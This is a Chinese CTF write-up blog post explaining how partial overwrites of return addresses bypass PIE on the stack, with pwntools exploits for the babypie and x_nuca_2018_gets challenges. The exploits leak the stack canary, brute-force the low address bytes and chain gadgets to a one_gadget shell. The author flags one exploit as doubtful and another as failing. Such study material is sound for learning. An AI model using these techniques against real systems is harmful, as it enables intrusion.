[花式栈溢出]栈上的 partial overwrite

希望能在这几天对Pwn中的栈上的各种利用和其他一些较小的分支做一个收尾,以便全力投入学习堆的相关知识。初步计划是对照ctf-wiki查缺补漏。

原理

以下内容摘自ctf-wiki

我们知道, 在开启了随机化(ASLR,PIE)后, 无论高位的地址如何变化,低 12 位的页内偏移始终是固定的, 也就是说如果我们能更改低位的偏移, 就可以在一定程度上控制程序的执行流, 绕过 PIE 保护。

babypie

保护全开

第二个read存在非常明显的栈溢出

也给出了后门函数

为了使这个函数结束能返回到我们的后门函数,再用第二次read覆盖返回地址前,需要用第一个read和printf输出canary的值

可以计算出第一次 read 需要的长度为 0x30 - 0x8 + 1 (+ 1 是为了覆盖 canary 的最低位为非 0 的值, printf 使用 %s 时, 遇到 \0 结束, 覆盖 canary 低位为非 0 值时, canary 就可以被 printf 打印出来了)

现在需要控制返回地址到后门函数,我们先看本来的返回地址

如图,我们的后门函数地址为0x555555554A3E,而程序本来的返回地址为0x555555554A23,这里巧合地只有8bit不同,但是普遍情况下,应该有低12bit~16bit不同。尽管可能最多有16bit不同,后门函数的低三位16进制数却总会是0xA3E,就算只有12bit不同,我们也不能只修改低12bit位0xA3E,因为payload发送以字节为单位,不能发送一个半字节,至少也得发送两字节。

总的来说,就是如果覆写低 16 bit 为 0x?A3E, 就有一定的几率 get shell,这里覆盖低16bit为0x0A3E

自动化爆破脚本如下,有时即使远端打成功了也会报错(不去深究了),重新打即可。

写脚本的时候也要注意sendline和send的区别,此题切莫用sendline,否则回车会覆盖关键位置

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
while True:
p = remote('node3.buuoj.cn', 26235)
p.recvuntil("Input your Name:\n")
offset = 0x30 - 8 + 1
payload1 = b'a' * offset
p.send(payload1) # not sendline!
p.recvuntil('a' * (0x30 - 8 + 1))
canary = '\0' + p.recv(7)
p.recvuntil("\n")
payload2 = 'a' * (0x30 - 0x8) + canary + 'bbbbbbbb' + '\x3E\x0A'
p.send(payload2) # not sendline!
p.recv(timeout=1) # don't remove! or can only burp once
try:
p.recv(timeout=1)
except: # or except EOFError
p.close()
continue
else:
p.interactive()
break

考虑此题的特殊性,其实确实也可以不需要覆盖两个字节,因为本来的返回地址和后门函数的地址应该是在同一页上并且偏移相差不大(可能是因为函数比较少的原因,这部分底层知识我还不是很清楚),所以覆盖一个字节(0x3e)就可以打通(正如调试所见,只有低8bits不同),不需要爆破。不过爆破肯定是更一般的做法。

from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
p = remote('node3.buuoj.cn', 29528)
p.recvuntil("Input your Name:\n")
payload1 = b'a' * (0x30 - 8 + 1)
p.send(payload1)
p.recvuntil('a' * (0x30 - 8 + 1))
canary = u64(p.recv(7).rjust(8, '\0'))
print(hex(canary))
payload2 = b'a' * (0x30 - 8) + p64(canary) + b'aaaaaaaa' + p8(0x3e)
p.recvuntil("\n")
p.send(payload2)
p.interactive()

番外

做这题时,还想搞清楚python2里decode和encode的区别,也不知道到底搞清楚没

如图,python2中decode("hex")将两个字符一起视作为十六进制,将'ff'decode后就是'\xff',将'3738'decode后就是'\x37\x38',也就是78,decode之后类型是字符串,u32/u64能对decode之后的字符串解包,也就是说能给u32/u64解包的是'\xff'这样的,而不是'ff'这样的

而,encode("hex")是将接收到的表示为十六进制的字节去掉'\x',变成只有两个字符的字符串

另外,python中

rjust()返回一个原字符串右对齐,并使用指定字符填充至长度width的新字符串,如果指定的长度小于原字符串的长度则返回原字符串。str.rjust(width[, fillchar])

ljust()返回一个原字符串左对齐,并使用指定字符填充至长度width的新字符串,如果指定的长度小于原字符串的长度则返回原字符串。str.ljust(width[, fillchar])

x_nuca_2018_gets(待解决)

注:此题应在Ubuntu16.04下完成,在18.04下由于libc版本变化等各种原因,会导致某些相对偏移的变化

one-gadget是glibc里调用execve('/bin/sh', NULL, NULL)的一段非常有用的gadget。在我们能够控制ip的时候,用one-gadget来做RCE(远程代码执行)非常方便,一般地,此办法在64位上常用,却在32位的libc上会很难去找,也很难用。

先检查保护

没有后门函数,没有'/bin/sh',只有孤零零的gets

如果要拿到shell,必须跳转到libc里的execve

随便输入点什么东西,看看程序在ret指令时栈上的情况

栈上有两个返回地址,一个是0x7ffff7a03bf7(__libc_start_main+231),在libc中,另一个是0x7ffff7de38d3(_dl_init+259),一个比较自然的想法就是我们通过 partial overwrite 来修改这两个地址到某个获取 shell 的位置,那自然就是 Onegadget 了。那么我们究竟覆盖哪一个呢?

首先,partial overwrite针对的是低12bits,也就是说至少得修改一个半字节,由于payload发送以字节为单位,所以至少会修改两个字节,又因为gets会自动在读入的payload后面加上'\x00',所以我们的payload至少会修改三个字节

如果覆盖第一个返回地址,则函数执行完返回到0x7ffff700xxxx,这显然已经不在libc的范围内了,小于libc的基地址了,而libc前面也没有刻意执行的代码位置。更何况一般来说 libc_start_main 在 libc 中的偏移不会差的太多,如果覆盖这个地址,会让程序返回到一个不在libc中的地址。

如果覆盖第二个返回地址并把这个返回地址作为该函数执行完后返回的地址,则返回到0x7ffff700xxxx,libc位于 ld 的低地址方向,那么在随机化的时候,很有可能 libc 的第 3 个字节是为\x00 的。举个例子,目前两者之间的偏移为0x7ffff7ffc000-0x7ffff79e2000=0x61a000,且经过多次实验发现在每次加载中,Id.so和libc.so的加载地址的相对位置是固定的,也就是偏移量不变,那么如果 ld 被加载到了 0x7ffff761a000,则显然 libc 的起始地址就是0x7ffff7000000。

证明见https://zhuanlan.zhihu.com/p/363113207

ctf-wiki接下来因不知libc版本,采取了随便覆盖,根据报错信息来判断的方法确定libc版本。这里因为buuctf上给出了ubuntu16的信息和libc版本,所以就直接下载下来了

使用one_gadget查看libc中gadgets的偏移

现在还不确定用哪个gadgets。

怎么才能覆盖并返回到栈中如此靠后的一个地址呢?

用__libc_csu_init中的gadget,不断pop即可使esp最终指向该地址

本地能打通的exp(借鉴网络):个人感觉并不正确,因为在跳转到one_gadget时并没有满足要求[rsp + 0x30] = 0,不知道为什么能打通

打了好久

from pwn import *

# context.arch = 'amd64'
# context.log_level = 'debug'
# context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
offset = 0x18 while True:
try:
p = process('./pwn')
payload='a' * offset + p64(0x40059B)
payload += 'b' * 8 * 5 + p64(0x40059B) + 'c' * 8 * 5 + p64(0x40059B)
payload += 'c' * 8 * 5 + '\x26\x02'
#gdb.attach(p)
p.sendline(payload)
p.sendline('ls')
data = p.recv()
print data
p.interactive()
p.close()
except Exception:
p.close()
continue

自己写的exp,只是换了一个gadgets并使之严格满足gadgets的条件,但是不知道出了什么问题,本地和远程都有问题。

from pwn import *

# context.arch = 'amd64'
# context.log_level = 'debug'
# context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
offset = 0x18
while True:
p = remote('node3.buuoj.cn', xxxxx)
payload = 'a' * offset + p64(0x40059B)
payload += 'b' * 8 * 5 + p64(0x40059B) + 'c' * 8 * 5 + p64(0x40059B)
payload += 'c' * 8 + p64(0) + 'c' * 8 * 3 + '\xc8\x01' # p64(0)是为了使r12为0(NULL)
p.sendline(payload)
try:
p.recv(timeout=1)
except:
p.close()
continue
else:
p.interactive()
break """
@ubuntu:~/Desktop/buuctf_Pwn$ one_gadget libc-2.23.so -l2
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL 0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL 0xcd0f3 execve("/bin/sh", rcx, r12)
constraints:
[rcx] == NULL || rcx == NULL
[r12] == NULL || r12 == NULL 0xcd1c8 execve("/bin/sh", rax, r12)
constraints:
[rax] == NULL || rax == NULL
[r12] == NULL || r12 == NULL 0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL 0xf02b0 execve("/bin/sh", rsi, [rax])
constraints:
[rsi] == NULL || rsi == NULL
[[rax]] == NULL || [rax] == NULL 0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL 0xf66f0 execve("/bin/sh", rcx, [rbp-0xf8])
constraints:
[rcx] == NULL || rcx == NULL
[[rbp-0xf8]] == NULL || [rbp-0xf8] == NULL """

[花式栈溢出]栈上的 partial overwrite的更多相关文章

  1. 从栈上理解 Go语言函数调用

    转载请声明出处哦~,本篇文章发布于luozhiyun的博客:https://www.luozhiyun.com/archives/518 本文使用的go的源码 1.15.7 前言 函数调用类型 这篇文 ...

  2. 【小实验】rust的数组是在堆上分配还是在栈上分配的呢?

    先看代码: fn main(){ let v = [1,2,3,4,5]; let addr = &v[0] as *const i32 as usize; println!("ar ...

  3. 如何限制一个类只在堆上分配和栈上分配(StackOnly HeapOnly)

    [本文链接] http://www.cnblogs.com/hellogiser/p/stackonly-heaponly.html [题目] 如何限制一个类只在堆上分配和栈上分配? [代码]  C+ ...

  4. 栈上连续定义的int变量,地址相差12个字节

    在VS2010,进行调试的时候,发现连续定义的int变量,地址相差12个字节.这是为什么? 按照我们的理解,int占用4个字节,应该相差4个字节.这是因为VS2010在Debug模式下,int变量占用 ...

  5. block存储区域——怎样验证block在栈上,还是堆上

    Block存储区域 首先,须要引入三个名词: ● _NSConcretStackBlock ● _NSConcretGlobalBlock ● _NSConcretMallocBlock 正如它们名字 ...

  6. Java中的栈上分配

    博客搬家自https://my.oschina.net/itsyizu/blog/ 什么是栈上分配 栈上分配是java虚拟机提供的一种优化技术,基本思想是对于那些线程私有的对象(指的是不可能被其他线程 ...

  7. JVM之对象分配:栈上分配 & TLAB分配

    1. Java对象分配流程 2. 栈上分配 2.1 本质:Java虚拟机提供的一项优化技术 2.2 基本思想: 将线程私有的对象打散分配在栈上 2.3 优点: 2.3.1 可以在函数调用结束后自行销毁 ...

  8. php7 改为从栈上分配内在的思路

    php7的特点是规则上不从堆上分配内存,改为从栈上分配内存, 因为有些场景是从堆上分配内在后,还要手动释放内存,利用栈分配内在快的特点,在有需要的时候,再在堆上分配内在 但是栈上分配的内存,不能返回, ...

  9. 只能在堆上生成的对象 VS. 只能在栈上生成的对象

    1. 只能在堆上 即禁止在栈上生成.如何实现? 当对象建立在栈上面时,是由编译器分配内存空间的,调用构造函数来构造栈对象.如果类的析构函数是私有的,则编译器不会在栈空间上为类对象分配内存. 所以,只需 ...

随机推荐

  1. Java基础:运算符

    算数运算符:+,-,*,/,%,++,-- 赋值运算符:= 关系运算符:>,<,>=,<=,==,!=,instanceof 逻辑运算符:&&,||,! 位运算 ...

  2. javascript 之对象-13

    对象 无序属性的集合,属性可以包含基本值.对象或者函数,简单理解为对象是若干属性的集合:我们常说的面向对象(oop)编程其实是指的一种编码的思想,简单理解为用对象来封装数据,利用封装.继承.多态对代码 ...

  3. Android Studio 报错:你的主机中的软件中止了一个已建立的连接

    •解决方案 关闭电脑的移动热点 关闭后,build 就不会报错了. 等 build 好了后,重新打开移动热点,再次 build 一就不会报错.

  4. 如何使用Topshelf与.NET泛型主机建立Windows服务

    1 前置阅读 在阅读本文章之前,你可以先阅读: Topshelf一个用于使用.NET构建Windows服务框架 2 使用 2.1 创建应用程序 首先,创建一个新的控制台应用程序并从nuget获取Top ...

  5. Java中的equals()和hashCode() - 超详细篇

    前言 大家好啊,我是汤圆,今天给大家带来的是<Java中的equals()和hashCode() - 详细篇>,希望对大家有帮助,谢谢 文章纯属原创,个人总结难免有差错,如果有,麻烦在评论 ...

  6. HTML5和CSS3 PC端静态网页琐碎知识点

    1.PC端为了兼容IE9以及IE9以下,尽量要使用float进行布局,兼容性好,一般不要用flex进行布局. 2.问起CSS选择器的分类,先说id选择器,类选择器,属性选择器,伪类选择器,伪元素选择器 ...

  7. JDBC_11_PreparedStatement(增删改操作)

    PreparedStatement(增删改操作) * 代码: ``` import javax.swing.plaf.nimbus.State; import java.sql.*; public c ...

  8. k8s deployment

    案例01 apiVersion: apps/v1 kind: Deployment metadata: name: nginx-deployment spec: selector: matchLabe ...

  9. 软件调研——GoodNotes 5与Notability

    项目 内容 这个作业属于哪个课程 2021春季软件工程(罗杰 任健) 这个作业的要求在哪里 作业要求 我在这个课程的目标是 积累软件开发经验,提高工程能力 这个作业在哪个具体方面帮助我实现目标 深入调 ...

  10. Spring Security极简入门三部曲(上篇)

    目录 Spring Security极简入门三部曲(上篇) 写在前面 为什么要用Spring Security 数据库设计 demo时刻 核心代码讲解 小结 Spring Security极简入门三部 ...